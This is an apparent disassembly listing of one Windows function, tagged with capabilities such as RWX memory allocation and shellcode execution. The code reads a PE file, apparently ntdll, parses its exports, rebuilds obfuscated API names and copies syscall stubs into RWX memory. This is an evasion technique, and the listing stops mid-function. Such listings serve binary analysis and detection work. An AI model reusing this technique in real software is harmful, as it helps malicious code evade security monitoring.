Function at 0x14000332b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows
Resolve function by parsing pe exports

Disassembly:
push rbp
push rsi
push rbx
mov eax, 0x2d90
call fcn.140013e20
sub rsp, rax
lea rbp, [rsp + 0x80]
call fcn.140012e70
mov dword [rbp + 0x9c], 0
mov qword [rbp + 0x90], 0
mov rax, qword [0x1400be200]
mov qword [rbp + 0x80], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov dword [rbp + 0x2cf8], eax
mov eax, dword [rbp + 0x2cf8]
mov r8d, eax
mov edx, 0
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x2cf0], rax
mov rax, qword [rbp + 0x2cf0]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8d, 0x17
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x2ce8], rax
mov rax, qword [rbp + 0x2ce8]
add rax, 0x17
mov qword [rbp + 0x2ce0], rax
mov rax, qword [rbp + 0x2ce0]
add rax, 0x17
mov qword [rbp + 0x2cd8], rax
mov rax, qword [rbp + 0x2cd8]
add rax, 0x17
mov qword [rbp + 0x2cd0], rax
mov rax, qword [rbp + 0x2cd0]
add rax, 0x17
mov qword [rbp + 0x2cc8], rax
mov rax, qword [rbp + 0x2cc8]
add rax, 0x17
mov qword [rbp + 0x2cc0], rax
mov rax, qword [rbp + 0x2cc0]
add rax, 0x17
mov qword [rbp + 0x2cb8], rax
mov rax, qword [rbp + 0x2cb8]
add rax, 0x17
mov qword [rbp + 0x2cb0], rax
mov rax, qword [rbp + 0x2cb0]
add rax, 0x17
mov qword [rbp + 0x2ca8], rax
mov rax, qword [rbp + 0x2ca8]
add rax, 0x17
mov qword [rbp + 0x2ca0], rax
mov rax, qword [rbp + 0x2ca0]
add rax, 0x17
mov qword [rbp + 0x2c98], rax
mov rax, qword [rbp + 0x2c98]
add rax, 0x17
mov qword [rbp + 0x2c90], rax
mov rax, qword [rbp + 0x2c90]
add rax, 0x17
mov qword [rbp + 0x2c88], rax
mov rax, qword [rbp + 0x2c88]
add rax, 0x17
mov qword [rbp + 0x2c80], rax
mov rax, qword [rbp + 0x2c80]
add rax, 0x17
mov qword [rbp + 0x2c78], rax
mov rax, qword [rbp + 0x2c78]
add rax, 0x17
mov qword [rbp + 0x2c70], rax
mov rax, qword [rbp + 0x2c70]
add rax, 0x17
mov qword [rbp + 0x2c68], rax
mov qword [rbp + 0x60], 0
mov qword [rbp + 0x68], 0
mov qword [rbp + 0x6f], 0
mov dword [rbp + 0x5c], 0
mov qword [rbp + 0x2c60], 0
mov dword [rbp + 0x2c5c], 0
mov dword [rbp + 0x58], 0
mov qword [rbp + 0x2c50], 0
mov rax, qword [rbp + 0x2ce8]
mov qword [0x1400ee038], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ce8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ce0]
mov qword [0x1400ee040], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ce0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cd8]
mov qword [0x1400ee048], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2cd8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cd0]
mov qword [0x1400ee050], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2cd0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cc8]
mov qword [0x1400ee058], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2cc8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cc0]
mov qword [0x1400ee060], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2cc0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cb8]
mov qword [0x1400ee068], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2cb8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2cb0]
mov qword [0x1400ee070], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2cb0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ca8]
mov qword [0x1400ee078], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ca8]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2ca0]
mov qword [0x1400ee080], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2ca0]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c98]
mov qword [0x1400ee088], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c98]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c90]
mov qword [0x1400ee090], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c90]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c88]
mov qword [0x1400ee098], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c88]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c80]
mov qword [0x1400ee0a0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c80]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c78]
mov qword [0x1400ee0a8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c78]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c70]
mov qword [0x1400ee0b0], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c70]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov rax, qword [rbp + 0x2c68]
mov qword [0x1400ee0b8], rax
lea rdx, [rbp + 0x5c]
mov rax, qword [rbp + 0x2c68]
mov r9, rdx
mov r8d, 0x40
mov edx, 0x17
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualProtect]
call rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
lea rax, [0x1400c2371]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp + 0x2c60], rax
mov rax, qword [rbp + 0x2c60]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp + 0x2c5c], eax
mov esi, dword [rbp + 0x2c5c]
mov rax, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call rax
mov r8, rsi
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_HeapAlloc]
call rax
mov qword [rbp + 0x2c50], rax
lea r8, [rbp + 0x58]
mov ecx, dword [rbp + 0x2c5c]
mov rdx, qword [rbp + 0x2c50]
mov rax, qword [rbp + 0x2c60]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
mov rax, qword [rbp + 0x2c50]
mov qword [rbp + 0x2c48], rax
mov rax, qword [rbp + 0x2c48]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x2c50]
add rax, rdx
mov qword [rbp + 0x2c40], rax
mov rax, qword [rbp + 0x2c40]
mov eax, dword [rax + 0x88]
mov dword [rbp + 0x2c3c], eax
mov rax, qword [rbp + 0x2c40]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp + 0x2c40]
add rax, rdx
add rax, 0x18
mov qword [rbp + 0x2d08], rax
mov rax, qword [rbp + 0x2d08]
mov qword [rbp + 0x2c30], rax
mov rax, qword [rbp + 0x2d08]
mov qword [rbp + 0x2d00], rax
mov dword [rbp + 0x2cfc], 0
jmp 0x140003a1b
mov rax, qword [rbp + 0x2d08]
lea rdx, str..rdata
mov rcx, rax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x140003a0c
mov rax, qword [rbp + 0x2d08]
mov qword [rbp + 0x2d00], rax
jmp 0x140003a31
add qword [rbp + 0x2d08], 0x28
add dword [rbp + 0x2cfc], 1
mov rax, qword [rbp + 0x2c40]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp + 0x2cfc], eax
jl 0x1400039e2
mov edx, dword [rbp + 0x2c3c]
mov rax, qword [rbp + 0x2c50]
lea rcx, [rdx + rax]
mov rax, qword [rbp + 0x2d00]
mov rdx, rax
call fcn.1400014b0
mov qword [rbp + 0x2c28], rax
lea rax, [rbp + 0x36f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x36f]
lea rax, [rbp + 0x340]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x320]
lea rdx, [rbp + 0x340]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x300]
lea rdx, [rbp + 0x320]
lea r8, [0x1400c239a]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2e0]
lea rdx, [rbp + 0x300]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2c0]
lea rdx, [rbp + 0x2e0]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x2a0]
lea rdx, [rbp + 0x2c0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x280]
lea rdx, [rbp + 0x2a0]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x260]
lea rdx, [rbp + 0x280]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x260]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x240]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, [0x1400c23a6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1e0]
lea rdx, [rbp + 0x200]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x1e0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x180]
lea rdx, [rbp + 0x1a0]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x160]
lea rdx, [rbp + 0x180]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x140]
lea rdx, [rbp + 0x160]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x120]
lea rdx, [rbp + 0x140]
lea r8, [0x1400c23ae]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x100]
lea rdx, [rbp + 0x120]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xe0]
lea rdx, [rbp + 0x100]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xc0]
lea rdx, [rbp + 0xe0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa0]
lea rdx, [rbp + 0xc0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x30]
lea rdx, [rbp + 0xa0]
lea r8, [0x1400c23b2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xc0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0xe0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x100]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x120]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x140]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x180]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x1e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x200]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x220]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x240]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x260]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x280]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x2e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x300]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x320]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x340]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x36f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x370]
mov rcx, qword [rbp + 0x2ce8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x370]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140003ed1
lea rsi, [0x1400c23b4]
jmp 0x140003ed8
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x61f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x61f]
lea rax, [rbp + 0x5f0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x5d0]
lea rdx, [rbp + 0x5f0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x5b0]
lea rdx, [rbp + 0x5d0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x590]
lea rdx, [rbp + 0x5b0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x570]
lea rdx, [rbp + 0x590]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x550]
lea rdx, [rbp + 0x570]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x530]
lea rdx, [rbp + 0x550]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x510]
lea rdx, [rbp + 0x530]
lea r8, [0x1400c23a6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x4f0]
lea rdx, [rbp + 0x510]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x4d0]
lea rdx, [rbp + 0x4f0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x4b0]
lea rdx, [rbp + 0x4d0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x490]
lea rdx, [rbp + 0x4b0]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x470]
lea rdx, [rbp + 0x490]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x450]
lea rdx, [rbp + 0x470]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x430]
lea rdx, [rbp + 0x450]
lea r8, [0x1400c23ae]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x410]
lea rdx, [rbp + 0x430]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x3f0]
lea rdx, [rbp + 0x410]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x3d0]
lea rdx, [rbp + 0x3f0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x3b0]
lea rdx, [rbp + 0x3d0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x390]
lea rdx, [rbp + 0x3b0]
lea r8, [0x1400c23b2]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x390]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x390]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x3b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x3d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x3f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x410]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x430]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x450]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x470]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x490]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x4b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x4d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x4f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x510]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x530]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x550]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x570]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x590]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x5b0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x5d0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x5f0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x61f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x620]
mov rcx, qword [rbp + 0x2ce0]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x620]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x140004313
lea rsi, [0x1400c23b4]
jmp 0x14000431a
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0x90f]
lea rax, [rbp + 0x8e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0x8c0]
lea rdx, [rbp + 0x8e0]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x8a0]
lea rdx, [rbp + 0x8c0]
lea r8, [0x1400c23d4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x880]
lea rdx, [rbp + 0x8a0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x860]
lea rdx, [rbp + 0x880]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x840]
lea rdx, [rbp + 0x860]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x820]
lea rdx, [rbp + 0x840]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x800]
lea rdx, [rbp + 0x820]
lea r8, [0x1400c23a0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x7e0]
lea rdx, [rbp + 0x800]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x7c0]
lea rdx, [rbp + 0x7e0]
lea r8, [0x1400c23a6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x7a0]
lea rdx, [rbp + 0x7c0]
lea r8, [0x1400c23a8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x780]
lea rdx, [rbp + 0x7a0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x760]
lea rdx, [rbp + 0x780]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x740]
lea rdx, [rbp + 0x760]
lea r8, [0x1400c23ac]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x720]
lea rdx, [rbp + 0x740]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x700]
lea rdx, [rbp + 0x720]
lea r8, [0x1400c239c]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x6e0]
lea rdx, [rbp + 0x700]
lea r8, [0x1400c23ae]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x6c0]
lea rdx, [rbp + 0x6e0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x6a0]
lea rdx, [rbp + 0x6c0]
lea r8, [0x1400c23b0]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x680]
lea rdx, [rbp + 0x6a0]
lea r8, [0x1400c239e]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x660]
lea rdx, [rbp + 0x680]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x640]
lea rdx, [rbp + 0x660]
lea r8, [0x1400c23b2]
mov rcx, rax
call fcn.1400b9c30
lea rdx, [rbp + 0x640]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.1400a9810
lea rax, [rbp + 0x640]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x660]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x680]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x6a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x6c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x6e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x700]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x720]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x740]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x760]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x780]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x7a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x7c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x7e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x800]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x820]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x840]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x860]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x880]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x8a0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x8c0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x8e0]
mov rcx, rax
call fcn.1400a97d0
lea rax, [rbp + 0x90f]
mov rcx, rax
call fcn.140071780
lea rdx, [rbp + 0x30]
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400a8c20
mov r9, qword [rbp + 0x2c30]
mov r8, qword [rbp + 0x2c50]
mov rdx, qword [rbp + 0x2c28]
lea rax, [rbp + 0x910]
mov rcx, qword [rbp + 0x2cd8]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x2d00]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x2c24], eax
lea rax, [rbp + 0x910]
mov rcx, rax
call fcn.1400a97d0
cmp dword [rbp + 0x2c24], 0
je 0x1400047ad
lea rsi, [0x1400c23b4]
jmp 0x1400047b4
lea rsi, [0x1400c23b9]
lea rax, [rbp + 0x30]
mov rcx, rax
call fcn.14002ef50
mov r8, rsi
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0xb3f]
mov rcx, rax
call fcn.140071750
lea rdx, [rbp + 0xb3f]
lea rax, [rbp + 0xb10]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400a90b0
lea rax, [rbp + 0xaf0]
lea rdx, [rbp + 0xb10]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xad0]
lea rdx, [rbp + 0xaf0]
lea r8, [0x1400c23d6]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xab0]
lea rdx, [rbp + 0xad0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa90]
lea rdx, [rbp + 0xab0]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa70]
lea rdx, [rbp + 0xa90]
lea r8, [0x1400c23a2]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa50]
lea rdx, [rbp + 0xa70]
lea r8, [0x1400c2398]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa30]
lea rdx, [rbp + 0xa50]
lea r8, [0x1400c23a4]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0xa10]
lea rdx, [rbp + 0xa30]
lea r8, [0x1400c23d8]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x9f0]
lea rdx, [rbp + 0xa10]
lea r8, [0x1400c23da]
mov rcx, rax
call fcn.1400b9c30
lea rax, [rbp + 0x9d0]
lea rdx, [rbp + 0x9f0]
lea r8, [0x1400c23aa]
mov rcx, rax
call fcn.1400b9c30
